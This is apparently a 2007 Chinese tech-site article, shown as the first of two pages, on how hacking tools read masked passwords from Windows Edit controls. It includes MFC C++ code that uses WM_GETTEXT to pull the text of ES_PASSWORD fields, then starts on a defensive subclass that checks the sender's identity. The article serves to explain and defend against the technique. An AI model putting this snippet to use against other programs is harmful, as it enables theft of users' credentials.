科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道系统安全之黑客探取密码原理及防范

系统安全之黑客探取密码原理及防范

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息

作者:赛迪网 来源:赛迪网安全社区 2007年10月18日

关键字: Edit CWnd SendMessage 黑客软件 hwndCurr

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共2页)

  char lpClassName[255];
  //获取类名
  if (::GetClassName(hwndCurr, lpClassName, 255))
  {
  //判断是否是Edit控件
  if (0 == m_strWndClass.CompareNoCase("EDIT")
  {
  //获取窗口风格
  LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
  //如果设置了ES_PASSWORD属性
  if (lStyle & ES_PASSWORD)
  {
  char szText[255];
  //通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中
  m_strPassword = szText;
  }
  }
  }
  }
  }
上述代码中值得注意的有以下几个关键地方:

ClientToScreen(&point); 
CWnd* pWnd = CWnd::WindowFromPoint(point); 
HWND hwndCurr = pWnd->GetSafeHwnd();


这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。

::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);


这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。

三、防范措施

既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。

从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:

1.创建新CEdit类

从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:

    • 评论
    • 分享微博
    • 分享邮件
          邮件订阅

          如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

          重磅专题
          往期文章
          最新文章